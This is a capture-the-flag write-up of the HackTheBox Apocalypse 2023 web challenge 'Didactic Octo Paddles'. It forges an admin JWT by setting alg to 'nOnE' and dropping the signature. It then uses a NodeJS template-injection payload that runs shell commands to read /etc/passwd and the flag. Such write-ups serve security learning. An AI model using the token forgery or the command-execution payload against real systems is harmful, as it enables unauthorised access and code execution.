Featured image of post Write-Up Didactic Octo Paddles HackTheBox Apocalypse 2023

Write-Up Didactic Octo Paddles HackTheBox Apocalypse 2023

Write-up of an medium web challenge that I solved during the HTB Apocalypse CTF.

Description

You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop’s system to obtain information on the relic’s location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.

Write-Up

When we start the docker and go to the IP provided by the challenge, we arrive directly on a login page.

Login page

The source code is provided so the first reflex is to look at the different routes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
router.get("/", AuthMiddleware, async (req, res) => {...});

router.get("/register", async (req, res) => {...});
router.post("/register", async (req, res) => {...});

router.get("/login", async (req, res) => {...});
router.post("/login", async (req, res) => {...});

router.get("/cart", AuthMiddleware, async (req, res) => {...});
router.post("/add-to-cart/:item", AuthMiddleware, async (req, res) => {...});
router.post("/remove-from-cart/:item", AuthMiddleware, async (req, res) => {...});
router.get("/admin", AdminMiddleware, async (req, res) => {...});

You can see that some routes are protected by AuthMiddleware or AdminMiddleware.

The AuthMiddleware will only check that your JWT session cookie is valid (so you are authenticated) while the AdminMiddleware checks that you are admin.

AuthMiddleware:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
const AuthMiddleware = async (req, res, next) => {
    const sessionCookie = req.cookies.session;
    if (!sessionCookie) {
        return res.redirect("/login");
    } else {
        try {
            const session = jwt.verify(sessionCookie, tokenKey);
            if (!session) {
                return res.redirect("/login");
            }
        } catch (err) {
            return res.redirect("/login");
        }
    }
    next();
};

AdminMiddleware:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
const AdminMiddleware = async (req, res, next) => {
    try {
        const sessionCookie = req.cookies.session;
        if (!sessionCookie) {
            return res.redirect("/login");
        }
        const decoded = jwt.decode(sessionCookie, { complete: true });

        if (decoded.header.alg == 'none') {
            return res.redirect("/login");
        } else if (decoded.header.alg == "HS256") {
            const user = jwt.verify(sessionCookie, tokenKey, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res.status(403).send("You are not an admin");
            }
        } else {
            const user = jwt.verify(sessionCookie, null, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res
                    .status(403)
                    .send({ message: "You are not an admin" });
            }
        }
    } catch (err) {
        return res.redirect("/login");
    }
    next();
};

We realise that we will probably have to access the admin account to succeed in the challenge and therefore bypass the Admin middleware. Let’s analyze it.

First, we check that the session cookie is present. If not, we redirect to the login page.

Then, we decode the JWT token to get the algorithm used to sign it. If the algorithm is “none”, we redirect to the login page. If the algorithm is “HS256”, we verify the token with the tokenKey (JWT secret) and if the token is valid, we check that the user is admin.

Finally, if the algorithm is neither “HS256” nor “None”, we verify the token without a key. If the token is valid, we check that the user is admin. But the algorithm must be correct according to the JWT standard because the code will use this algorithm to verify the token.

In our case, we don’t have access to the secret JWT (tokenKey) so we must succeed in getting into the else of the function to be able to validate our JWT Token without a key.

Before starting anything else, let’s analze a JWT Token that we get after register and login. I will use jwt_tool.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
~ python3 jwt_tool.py eyJhb{...}.eyJpZC{...}.5b5jV{...}

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] id = 2
[+] iat = 1679225777    ==> TIMESTAMP = 2023-03-19 12:36:17 (UTC)
[+] exp = 1679229377    ==> TIMESTAMP = 2023-03-19 13:36:17 (UTC)

Seen timestamps:
[] iat was seen
[] exp is later than iat by: 0 days, 1 hours, 0 mins

We can see that the token is signed with the HS256 algorithm and that the token is valid for 1 hour. We can also see that I have the id of the user (2) and that the admin user has probably the id 1.

In order to bypass the AdminMiddleware, we will have to create a JWT Token with the id 1. In order to get into the else of the function, we will have to use a different algorithm than “HS256” or “none”.

My idea : modify the header of the token to use a “nOnE” algorithm. With that algorithm, we will not go into the first two checks of the function because "nOnE" != "none" and "nOnE" != "HS256". Then, we will go into the else and we will be able to validate our token without a key and with the JWT algorithm “nOnE” (which is a valid algorithm due to the fact that the JWT library probably has to pass all values in lowercase before processing them).

Let’s try to create a JWT Token with the id 1 and the algorithm “nOnE”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
python3 jwt_tool.py eyJhb{...}.eyJpZC{...}.5b5jV{...} -T

Current value of alg is: HS256
Please enter new value and hit ENTER
> nOnE
[1] alg = "nOnE"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] id = 2
[2] iat = 1679225777    ==> TIMESTAMP = 2023-03-19 12:36:17 (UTC)
[3] exp = 1679229377    ==> TIMESTAMP = 2023-03-19 13:36:17 (UTC)
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of id is: 2
Please enter new value and hit ENTER
> 1
[1] id = 1
[2] iat = 1679225777    ==> TIMESTAMP = 2023-03-19 12:36:17 (UTC)
[3] exp = 1679229377    ==> TIMESTAMP = 2023-03-19 13:36:17 (UTC)
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_aa856bf7adf72aa5c727026becb8cbe2 - Tampered token:
[+] eyJh{...}.eyJpZC{...}.5b5j{...}

When the algorith is “none”, JWT does not care about the signature so we can delete it.

Final token : eyJhbG{...}.eyJpZC{...}.

With this token, we can bypass the AdminMiddleware and access the admin page.

We get a simple page which simply displays the list of registered users. We can directly think about an SSTI because names are rendered in the page. The backend is in NodeJS so we have to find a NodeJS SSTI payload. I found this one.

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

So I created a new user with this name and I got the content of the /etc/passwd file.

Then I tried to get the content of the flag file.

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}

Flag !

Flag

HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}

Built with Hugo
Theme Stack designed by Jimmy